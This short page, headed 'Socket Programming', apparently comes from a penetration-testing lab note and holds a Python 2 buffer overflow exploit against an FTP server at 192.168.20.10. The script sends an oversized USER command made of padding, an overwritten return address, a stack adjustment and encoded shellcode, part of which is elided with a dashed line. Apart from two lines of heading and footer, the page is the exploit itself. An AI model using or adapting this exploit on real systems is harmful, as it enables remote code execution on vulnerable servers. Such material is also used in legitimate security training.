Socket Programming

Python

#!/usr/bin/python
import socket
shellcode = ("\xda\xd4\xd9\x74\x24\xf4\xba\xa6\x39\x94\xcc\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\xb2\xdb\x61\x30" +
-------------------------------------------------------------------------
"\x09\x0e\xd0\x2b")

buffer = "A" * 485 + "\x59\x54\xc3\x77" + "C" * 4 + "\x81\xc4\x24\xfa\xff\xff" + shellcode

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response

s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response

s.send('PASS PASSWORD\r\n')
s.close()

Last updated